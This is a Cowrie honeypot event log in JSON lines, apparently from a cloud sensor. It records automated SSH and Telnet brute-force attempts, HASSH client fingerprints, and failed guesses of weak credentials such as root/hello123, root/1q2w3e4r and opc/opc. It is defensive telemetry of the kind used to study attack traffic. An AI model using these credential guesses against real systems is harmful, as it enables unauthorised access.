{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:07.857688Z","src_ip":"45.153.34.112","session":"4b2c991701a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:07.940733Z","src_ip":"45.153.34.112","session":"4b2c991701a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"hello123","message":"login attempt [root/hello123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:08.192955Z","src_ip":"45.153.34.112","session":"4b2c991701a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:09.278374Z","src_ip":"45.153.34.112","session":"4b2c991701a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":39270,"dst_ip":"10.17.0.5","dst_port":23,"session":"4217ba1c9cd3","protocol":"telnet","message":"New connection: 192.119.13.58:39270 (10.17.0.5:23) [session: 4217ba1c9cd3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:10.346879Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59710,"dst_ip":"10.17.0.5","dst_port":22,"session":"d2d5b6e1c83b","protocol":"ssh","message":"New connection: 45.153.34.112:59710 (10.17.0.5:22) [session: d2d5b6e1c83b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:11.280941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:11.285775Z","src_ip":"45.153.34.112","session":"d2d5b6e1c83b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:11.368531Z","src_ip":"45.153.34.112","session":"d2d5b6e1c83b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"www","password":"www","message":"login attempt [www/www] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:11.620185Z","src_ip":"45.153.34.112","session":"d2d5b6e1c83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:12.704952Z","src_ip":"45.153.34.112","session":"d2d5b6e1c83b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":42.861254930496216,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:13.242246Z","src_ip":"192.119.13.58","session":"13d0d14c7433","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59730,"dst_ip":"10.17.0.5","dst_port":22,"session":"85ced62c7d55","protocol":"ssh","message":"New connection: 45.153.34.112:59730 (10.17.0.5:22) [session: 85ced62c7d55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:14.911367Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:14.916969Z","src_ip":"45.153.34.112","session":"85ced62c7d55","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:15.005485Z","src_ip":"45.153.34.112","session":"85ced62c7d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.58945655822754,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:15.056813Z","src_ip":"192.119.13.58","session":"d25bcafe32fb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1q2w3e4r","message":"login attempt [root/1q2w3e4r] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:15.258288Z","src_ip":"45.153.34.112","session":"85ced62c7d55","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:16.350813Z","src_ip":"45.153.34.112","session":"85ced62c7d55","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":59752,"dst_ip":"10.17.0.5","dst_port":22,"session":"3393ea835a17","protocol":"ssh","message":"New connection: 45.153.34.112:59752 (10.17.0.5:22) [session: 3393ea835a17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:18.311303Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:18.316927Z","src_ip":"45.153.34.112","session":"3393ea835a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:18.399535Z","src_ip":"45.153.34.112","session":"3393ea835a17","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:18.650004Z","src_ip":"45.153.34.112","session":"3393ea835a17","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":50058,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1c74abe4746","protocol":"telnet","message":"New connection: 192.119.13.58:50058 (10.17.0.5:23) [session: b1c74abe4746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:19.578132Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":56956,"dst_ip":"159.203.135.109","dst_port":22,"session":"388be6a4f569","protocol":"ssh","message":"New connection: 103.15.222.183:56956 (159.203.135.109:22) [session: 388be6a4f569]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:19.764974Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:19.770055Z","src_ip":"103.15.222.183","session":"388be6a4f569","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:19.914063Z","src_ip":"45.153.34.112","session":"3393ea835a17","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:20.024291Z","src_ip":"103.15.222.183","session":"388be6a4f569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"madagaskar","message":"login attempt [root/madagaskar] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:20.796134Z","src_ip":"103.15.222.183","session":"388be6a4f569","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35446,"dst_ip":"10.17.0.5","dst_port":22,"session":"9d4c7f3250e8","protocol":"ssh","message":"New connection: 45.153.34.112:35446 (10.17.0.5:22) [session: 9d4c7f3250e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:21.797365Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:21.802142Z","src_ip":"45.153.34.112","session":"9d4c7f3250e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:21.884652Z","src_ip":"45.153.34.112","session":"9d4c7f3250e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:22.056662Z","src_ip":"103.15.222.183","session":"388be6a4f569","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a123456A","message":"login attempt [root/a123456A] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:22.133806Z","src_ip":"45.153.34.112","session":"9d4c7f3250e8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:23.222104Z","src_ip":"45.153.34.112","session":"9d4c7f3250e8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35464,"dst_ip":"10.17.0.5","dst_port":22,"session":"35096c28122f","protocol":"ssh","message":"New connection: 45.153.34.112:35464 (10.17.0.5:22) [session: 35096c28122f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:25.487520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:25.492833Z","src_ip":"45.153.34.112","session":"35096c28122f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:25.575462Z","src_ip":"45.153.34.112","session":"35096c28122f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"xcy","password":"123456","message":"login attempt [xcy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:25.825291Z","src_ip":"45.153.34.112","session":"35096c28122f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:26.911541Z","src_ip":"45.153.34.112","session":"35096c28122f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.153.34.112","src_port":35474,"dst_ip":"10.17.0.5","dst_port":22,"session":"ca2d0b8f0cc5","protocol":"ssh","message":"New connection: 45.153.34.112:35474 (10.17.0.5:22) [session: ca2d0b8f0cc5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:28.869076Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:28.874011Z","src_ip":"45.153.34.112","session":"ca2d0b8f0cc5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:28.957040Z","src_ip":"45.153.34.112","session":"ca2d0b8f0cc5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"opc","password":"opc","message":"login attempt [opc/opc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:29.212244Z","src_ip":"45.153.34.112","session":"ca2d0b8f0cc5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.119.13.58","src_port":36074,"dst_ip":"10.17.0.5","dst_port":23,"session":"e61790261e8d","protocol":"telnet","message":"New connection: 192.119.13.58:36074 (10.17.0.5:23) [session: e61790261e8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:29.939324Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.195.16.41","src_port":34197,"dst_ip":"159.203.135.109","dst_port":23,"session":"4657c5284475","protocol":"telnet","message":"New connection: 186.195.16.41:34197 (159.203.135.109:23) [session: 4657c5284475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:30.111945Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T12:12:30.297039Z","src_ip":"45.153.34.112","session":"ca2d0b8f0cc5","protocol":"ssh"}
